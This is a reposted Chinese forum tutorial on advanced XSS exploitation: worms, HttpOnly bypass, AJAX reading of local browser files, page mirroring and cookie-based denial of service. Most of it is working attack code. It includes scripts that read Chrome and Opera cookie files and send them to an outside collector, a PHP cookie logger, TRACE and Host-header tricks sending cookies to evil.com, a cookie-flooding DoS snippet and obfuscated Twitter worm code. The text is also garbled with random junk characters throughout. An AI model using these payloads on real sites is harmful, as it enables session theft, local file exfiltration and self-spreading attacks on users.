XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页, `! H. M6 a. E# t" l
本帖最后由 racle 于 2009-5-30 09:19 编辑 0 A: E9 h- o4 H4 C1 j, \
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html) T1 h- s h* e& S; W7 P1 G( {3 O
转帖请保留版权( H+ U1 F: K4 P% D0 ]
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* V# B8 k6 b! @- G) j5 O/ T$ _5 o-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.* U9 C+ J, X' j
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; ^) s; P% B, J7 T( _ k7 R. {0 Z如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 t3 M- }' u! s$ i- ?# B( Ihttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
3 f( N$ y ]3 E3 k; {http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全- T6 \. @+ e9 ?* }# `. t
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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V c5 F2 q) i; w2 |, nhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
0 b* d) I, [1 ?" E% ~, G& ~http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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$ @+ F9 H S- [. {- C如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大- M% U" y! r( D0 {- H \+ ]
. J6 b2 J( q$ n( [% Y: n. N. o3 ~QQ ZONE,校内网XSS 感染过万QQ ZONE." j0 m7 d+ ]8 @8 Y5 d$ V( ?7 D
* Y2 i, c& m$ T' Q' H0 z/ c+ ]# uOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪5 h% A' [7 z M# T* d
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复制代码------------------------------------------介绍-------------------------------------------------------------6 b+ k/ s9 c0 M( u6 d# N
+ T, E, p& k: F7 t4 t% z0 `什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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2 o4 o8 @% e9 a如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
5 V; K0 c- g) w$ Y3 C复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.+ @+ i$ a2 v3 l5 M
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?/ f# z8 s& n) K" l; f6 t2 y
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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1 _* s- ~! @! P( v3 XSS的高级利用和高级综合型XSS蠕虫的可行性?; |" c( u' ^9 X/ }( V/ f x" ]
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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% C7 F( p7 N# s1 k8 d! ^------------------------------------------研究正题----------------------------------------------------------
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2 E5 M V' z8 d% S: |9 C通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.* W4 U! u* p8 B1 S3 ?- ^/ o9 I+ C, w# G
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫) f1 S( ?% I/ f
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
5 i- s, J$ L2 Y* A/ Z5 w6 ~1 k1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.8 q$ b8 v$ U4 i d8 M
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 {; F# l4 }/ W+ n& x: ^* Q1 ^3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内./ n/ J0 F8 P0 {2 Y3 p* A
4:Http-only可以采用作为COOKIES保护方式之一.
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, @& F4 @0 q" R# Z(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)4 S! Y7 y6 e' O) V
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!): e& B/ u5 O7 ]# {. ]
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.4 H& U2 h! H" R. ]* B) n4 b
复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){
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var request = false;
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' r4 n- r9 W6 _3 }. d: |/ M2 _ } else if(window.ActiveXObject) {
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! H1 _' x& ^' t, _ var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',7 [) m( q [' k4 ]
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, O7 k- j8 A2 d 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {$ f# X9 ? x5 D& T
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request = new ActiveXObject(versions); m1 d: } k+ V9 x0 I; e1 u
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}
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var _x = ajax_obj();! h& V& W2 e: V: t
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function _7or3(_m,action,argv){/ v) [3 M2 S6 w% x- e% Y
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");- w- S! `3 a5 S- d6 V: P: m
. `: D' D% o- ^1 n0 X _x.send(argv);' w& R" ?: a' S: H
8 f' N5 m; m; J9 M+ l4 s3 B7 ] return _x.responseText;1 \9 K# J \ k3 x+ a" b1 V) R0 f
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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</script>
& Q3 g- x: x- E7 Z4 r9 N. g0 t0 H复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>) x5 p) ?% B7 ~7 L4 a- L) h
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: }$ u0 X1 k+ ~8 _! E' z% Y, E function ajax_obj(){; u0 c2 |9 Z3 s# J/ r
7 m7 F1 @& I2 j; x/ B- t6 N! @1 n var request = false;( w Y1 V6 U9 r0 H
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if(window.XMLHttpRequest) {1 {- _ A9 l' o; ^3 [# S
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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for(var i=0; i<versions.length; i++) {
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# {- m$ D& j/ R' r, X8 z% F' Z try {
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request = new ActiveXObject(versions);
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}
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return request;8 c: n, l$ _+ A r
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/ c* b) R3 N1 d0 C6 { var _x = ajax_obj();
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( c8 t) Z3 q" [0 F function _7or3(_m,action,argv){
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");7 N- {& x; Z- m8 H/ j
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_x.send(argv);
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$ `3 `# S9 G x% ^6 k return _x.responseText;8 c' _% g/ N, a+ H
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var txt=_7or3("GET","1/11.txt",null);: B6 p8 O! E( c: R$ N+ W* h$ @5 y
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' }; Q" n! b' W7 O </script>* _& S* m) N3 r5 m. T3 ~+ J: H
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"7 N5 ], t6 ~) v8 O
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Chrome 1.0.154.53 use ajax read local txt file and upload exp 4 ~* f' s" _! w9 G& M
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author voidloafer@gmail.com 2009-4-22 + l, B3 _$ l0 o2 X
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 9 G" K1 Y1 O5 }- i9 N6 O% d
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); * d) p$ ^, I/ ~* F
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F( n6 L$ J/ O set header, so just download html file,and open it at local.
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7 U! g5 A* T1 |<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> " v% r0 G, a, C( Y: m
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<input id="input" name="cookie" value="" type="hidden">
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2 c! [: P; v/ g0 i</form> ) P8 z9 b" z% Y5 B
9 I% R! c" `2 K6 {: D9 {2 a. l+ y<script>
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function doMyAjax(user)
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; W& m6 O1 L' i- \# _. kvar time = Math.random(); S3 ?; r! e" v
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- C; b$ R. |. ^+ l! ^the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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% s1 A% l# j2 ?" Oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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$ l7 ]& j' h/ r1 E, Tand so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; ' W J' m0 |. E, |1 D6 N
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; J- B6 K) I5 c. r7 Q# k, HstartRequest(strPer);
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}
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function Enshellcode(txt)
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: ]+ u( {/ A% i1 r/ Z) [( d! Bvar url=new String(txt);
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var i=0,l=0,k=0,curl="";
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l= url.length; / A& \/ ~+ S, A- P- f
9 D$ l7 |" p A7 v9 E6 Vfor(;i<l;i++){ " v/ q6 _& e* l* w1 d) }
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k=url.charCodeAt(i); . ]4 v1 S S+ ]2 k8 ]
" N5 ]: T; v( h! j" S6 B L5 |if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
/ C) y$ F6 Z! Z/ ^; l/ W. _6 B- A o) p; z0 Q: `( }# x) u
if (l%2){curl+="00";}else{curl+="0000";} 3 m3 y$ }5 d; b, a/ C _
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curl=curl.replace(/(..)(..)/g,"%u$2$1"); 1 g& w; h9 f$ H# _$ C+ ~. h/ t* W% F
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return curl;
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var xmlHttp;
Q- a3 V0 a' Y
- O3 B: a n4 L" ofunction createXMLHttp(){
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5 z: d. \5 |0 D! t( O$ {% @ if(window.XMLHttpRequest){
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1 b! W0 x% y4 ~$ p. X% Q5 E$ |xmlHttp = new XMLHttpRequest(); / _8 p& F8 U7 d* R% }/ U) M u6 u* _
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, ?" i1 T9 U2 m9 s, c3 A else if(window.ActiveXObject){
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6 z, h4 V; V8 LxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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0 \ {5 k* x! b. S( E+ T6 Yfunction startRequest(doUrl){ ; o' j+ u% D& T
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7 u: {( I" |8 K5 @+ {8 F9 ]- s createXMLHttp(); 6 _) p( n1 X) r9 K2 N" m
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); % F. J ~. s1 t0 V
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xmlHttp.send(null);
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function handleStateChange(){ 9 \; w: r1 \& |! e1 ]
+ g4 Q1 c! y" J( C% l* ^* K
if (xmlHttp.readyState == 4 ){ + R8 g$ z3 @& R: X% V% g5 n5 X
& K. p; ? H9 L6 c var strResponse = "";
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$ o+ A/ x9 M" A% k& |6 P setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} * \$ b }5 X! ^$ e
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+ c' g' m/ r) L9 P6 D ^9 A8 d3 |7 O$ }1 `0 w$ n: R
function framekxlzxPost(text) ) P. Z6 C- X1 X' }* l( b
- t/ R) b. ?8 w: O: }' E{
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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doMyAjax("administrator");
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</script>$ Q- i8 y( i O1 @" F" [0 ?
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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! D3 ~0 p% W' a0 Bvar xmlHttp; & b7 G$ } [5 ]- q- B
0 G4 ~0 `' L% K9 S& }( b( m$ b Ofunction createXMLHttp(){
( E$ [0 v7 x5 q3 d9 U" K6 |" [: N* ]. q8 b1 x! {
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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}
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$ O1 R1 q0 b) ]6 _1 H) p6 o else if(window.ActiveXObject){ : z) m- }# n( y$ Q' v, q) g6 L. m7 l
& d$ {- @9 T R5 A xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 2 t6 g$ b5 j- f+ K1 z" k0 O
* j1 c! @2 L0 k+ o( O }
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+ q7 R N% I8 H3 K) A9 n}
I$ B4 m" T8 p1 U }
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# `" c3 d1 O G
. `' o) g. ^ S/ Hfunction startRequest(doUrl){ 6 G2 `. K- T- c/ l* x0 C
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/ y& J, t' m% H0 _0 E' W6 A2 m& k( s7 c6 t1 d8 G: w+ A3 H- ^! s+ @& l
createXMLHttp(); 4 i% i, M( g- K9 y& t
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* l$ `7 S- O( D9 G: v! o xmlHttp.onreadystatechange = handleStateChange;
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, v: ?6 Q- }# i1 R1 `; x xmlHttp.open("GET", doUrl, true);
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4 a! b; w3 Q+ J. u& S8 f* l xmlHttp.send(null); - _- [2 q6 h! ~/ @6 r& c
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' M. g8 d2 l3 G9 g6 x1 I6 m2 y# I* C 8 q+ W$ n# c* X7 r7 K( ^
7 W" x2 c2 z4 N1 h+ y# K$ k- T1 Efunction handleStateChange(){ 3 B- A( A; L/ g p8 @; |; w
/ {1 }( @5 L6 [4 ^4 I if (xmlHttp.readyState == 4 ){ * _+ k- F' v1 y1 C6 Q
/ C2 ]4 }" ]$ } var strResponse = "";
3 H4 a& N" e% E! e0 J- g6 E
2 [/ m' z% L2 t0 j8 p$ { setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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0 R3 S+ F" h- M( j9 Z% J: X* Y }
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}
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function doMyAjax(user,file) 4 r$ t: }" ~- k/ Z, t
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{ 6 Z! {. D6 k7 ^' ]3 c8 |8 v3 H
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var time = Math.random(); $ b/ f1 C4 r# A
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8 D t/ i" x- `# m3 x( ? var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 1 {$ N/ y! K* W, F) T8 G4 j( s
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startRequest(strPer); ' M. _% M- g# J" G/ y1 j% r% k, h
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@/ v4 d$ e- Q9 R% t
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) _8 u/ A& P8 J7 m7 g$ ]
function framekxlzxPost(text) 4 F/ K4 H: W0 u/ H2 c
$ }6 F' q! H' d( c1 t' ~/ B- C8 }
{ * T& K' v8 C% D0 }
3 K% j+ {3 c8 I! i5 P& |
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ( z& p; U( M3 T
1 f& f- N. L ^. f* R8 ?. @ alert(/ok/); 3 A8 q# n/ Q1 M: M2 J1 |
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}
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1 N: Z- t z7 a& R( k# `doMyAjax('administrator','administrator@alibaba[1].txt'); ) D0 i7 i' R" L6 A7 o+ T
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</script>1 B3 Y( Z5 K9 i8 o$ y- [3 f
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a.php% I2 X( s3 O& g( X2 @
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5 [- q: d' a! B1 o
# Z: v6 s/ l [$ @, E<?php * ~, \: D# e) e
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; * c( o% v8 d( h' G
4 Y. M. |$ n5 |% Y x$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
' h9 E" ]) ]6 ]3 u# U
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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$ ~0 u0 B! E s l; T: m* lfwrite($fp,$_GET["cookie"]);
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: B6 k* F1 Y& H$ u* A+ M" `0 z$ Bfclose($fp);
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?> 4 Y0 M6 e0 {% a) o
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:: q0 _' u: p) f
. t, d! l# q! I! P* w或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 U! ? s$ q! t& s; n利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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7 O' A% E% d/ ~) R% r3 t; D//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false); @9 z! @' l# X* v: |
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);0 s7 c. Z) e/ Y8 f2 k0 `8 \
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function getURL(s) {4 E# ]! I5 g( n2 [4 c" t
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var image = new Image();
7 z9 L& e6 `3 e2 u9 V8 v4 i
, J7 f5 a! K. x; e* n2 S5 f1 oimage.style.width = 0;
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/ W; _) C0 k4 m( G0 B% Aimage.style.height = 0;
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image.src = s;; z5 c* g! [# l/ q- B. [
" z* E/ B( v/ i+ e}% E9 @0 j7 }. m
% }3 q3 A3 x6 x" m% \; |1 p: A# A
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);$ \3 D+ X" u# V
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.5 ?* h+ |# T9 h- Q
这里引用大风的一段简单代码:<script language="javascript">
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P# [& i! t7 Rvar metastr = "AAAAAAAAAA"; // 10 A; k* U( P$ U: l1 J2 |3 o) Q
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var str = "";
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! \. J, ?/ _6 ^0 bwhile (str.length < 4000){
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str += metastr;, Y& g9 o+ v- u, I
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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1 c* {5 q) B! W</script>, r& @9 `* ^6 R: J, J
+ U: c3 ^( i( ^( y. y/ V详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- B6 M! d" {5 E% K- \! S7 n
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ M* q. G* v( F k, Jserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
: x* b$ v# j6 @! I- n" }/ M: F! A3 |
. M3 z; W6 q! k' H% D) o4 k假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 J, q4 O. D& k+ l; i9 D攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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6 O, L7 K- X8 |/ j9 \" o(III) Http only bypass 与 补救对策:
7 ]1 o" }/ P1 Q
1 b" p% g, _2 `4 c' A什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
7 D+ C* a0 j5 Z" |) n) M以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--, R5 j/ e+ ?, F7 m6 L, f
# g% B& Q6 \1 M" o( U( C& A+ Pfunction normalCookie() { % n( h) A8 t# v$ H
\# Y7 t2 B- ~# |6 K: C" N( I) a! X# r1 W
document.cookie = "TheCookieName=CookieValue_httpOnly";
3 B; r1 i+ i& G6 V/ {6 s; C- G( x$ x$ ^ M; M
alert(document.cookie);( D' t; r) h- ?6 J9 x
7 }- s5 W& U! o* a
}
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, m3 j: f* n! g% S/ ~# \; T& M
function httpOnlyCookie() {
4 |$ ], f' w# H: L* J0 F' e4 _: y( I
+ z/ {1 S' ?% w* r3 V" u0 f1 Y" C9 ddocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
' {# C3 b6 X" Y6 Y! m& t8 T2 W
8 n. r1 W6 q: |) palert(document.cookie);}
" [8 A; n7 [+ _2 D7 U, o& w
$ Y( F1 o9 s& \* v6 s2 g: s# p0 { C: n
W5 e4 U9 f& _2 E//-->
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+ Y; Q: K' s5 d7 }* V) F, R" p</script>( g, @0 \/ e" Y) ^/ l
9 D. V0 Z) v3 Z5 ^1 |7 g! Y
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' F# _1 J* w* P5 m) {6 Q/ R<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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8 B% J1 h+ K8 j; {9 ?<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>8 G( y4 Z5 M( ], M& A
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script># d& d8 `2 d# G4 e
* t n. H5 _' m$ s2 w z6 u' k( L* f
' G/ I& y4 i4 b
var request = false;" k* S, B+ m+ a3 U% @: n
2 m) f8 u8 M u) r; n
if(window.XMLHttpRequest) {9 \0 U/ o. b7 n) y+ w, ~+ @: p
* _0 E( C( X" W9 A; E$ d
request = new XMLHttpRequest();, _$ C! T* o/ U
% _0 Y8 f+ r5 N* a if(request.overrideMimeType) {% n0 ]6 p, J' j1 `9 Q
8 l* W( k) c5 N+ x& o2 q; a9 x
request.overrideMimeType('text/xml');
7 Z( e3 Q1 T( B ]+ M) o( j( s8 K3 R% w1 ~4 V+ o
}# @% ?, k, E1 Z4 E
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} else if(window.ActiveXObject) {- a0 q& R( m0 y# u. S
! {, X9 {# D$ [ var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];+ j5 j0 u' w7 w. \ O* h
$ O' V a0 P. x, D1 X1 C for(var i=0; i<versions.length; i++) {) q* _' J3 D0 y0 t; K0 ]
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try {
5 |( a' B4 G2 _; ]. W- a9 r7 A: k6 [( a) z2 _% R }) Q! V/ h
request = new ActiveXObject(versions);
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} catch(e) {}
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}
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8 o% b4 p; r% @ n+ C' O1 @5 f1 CxmlHttp=request;0 m, M6 m M% }, P) ?7 p* b
/ T' c+ R: f/ E4 ?1 TxmlHttp.open("TRACE","http://www.vul.com",false);$ L: C) o/ X% s) Y
. s" j1 _9 s4 R0 o4 n! xxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;& t3 d( d" N! l0 a
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alert(xmlDoc); g q x7 M5 h X% K; L+ Y4 k# b' L# W
: C; m- Z$ N& {0 `</script>7 r7 l: G- O" ^- z8 h2 U
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>* Q/ F% p7 O/ A
7 x' ^. }. T. }* ^/ Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");& c# [; Y [. F' C
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XmlHttp.open("GET","http://www.google.com",false);+ Z# x% d4 S! ~- n
" r, b. e: d) e( A0 U5 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");* H6 c! K8 z/ N9 u# c
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XmlHttp.send(null);
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var resource=xmlHttp.responseText; u# X" E2 G; O4 p' [
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resource.search(/cookies/);7 D% s* g3 @8 `! V; U! R0 f2 s. D' h
4 |7 {7 u, q7 H3 _8 p# y......................6 V; c) X: ~ t$ P8 Q" A( K
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</script>
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如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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6 e' E l' o- Z) v& m' j) ^) C[code]
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2 Q# z( E" B2 U" C! _RewriteEngine On3 m8 ]; Z# C, g" r8 P/ Z% M* S( h
( y9 w' k5 Y) \
RewriteCond %{REQUEST_METHOD} ^TRACE
% [& s" _ x" }( D7 g: N Z1 f4 I6 g: v
RewriteRule .* - [F]7 t* F: h6 z- u: e
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& U; Q% |) `3 x( y4 b) S8 J9 O% a
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求# F! u E6 J/ I# z5 L( T7 |
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acl TRACE method TRACE
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...; G Z* _ ^, f1 f! y* X
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http_access deny TRACE: @# k) H R6 e9 U" _* `& g# E i
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");& }# m- G J4 c' {" N6 |1 D: P. C, _" Q
! u9 b# r6 U5 G; d. G5 e! nXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);+ I. \* |/ v$ e0 z# E, i8 h
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</script>
: r5 j+ d! H1 |% K复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>; b& ]# _2 `, i0 J4 Q4 Z2 ]
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");# o- K/ b5 b2 J5 a' y9 }
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0 S3 w/ \8 H5 d3 @$ n$ \6 iXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);% v& Y- r# Z% L c2 d
9 U9 l; a+ Z! a$ r: E5 \7 A/ QXmlHttp.send(null);
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; m( j, c- H+ d. O<script>
3 Y) ?; ^- q" }0 e复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
1 s) l* v' p' N复制代码案例:Twitter 蠕蟲五度發威
8 |0 Z6 Z9 }# ?- i& ]& v0 e3 V* u Y第一版:" f3 L, S0 f: W. f( l. q' F% {
下载 (5.1 KB)
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! I! w2 S+ n4 z+ p+ I6 天前 08:27
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' i! O- H1 @6 N$ d第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){ # L7 `# L, E @( u
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4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } # Y; l* Z7 y& x$ y( P
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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* @- A$ s& S. R 8. catch(e) { _0x6687x2=false; }; }; };
0 g8 ?; ~$ x! U3 j复制代码第六版: 1. function wait() { 7 d2 _- k8 k1 n
! T, r. n- I, y 2. var content = document.documentElement.innerHTML; f5 F- Y' K5 a0 c0 T& E3 T5 g
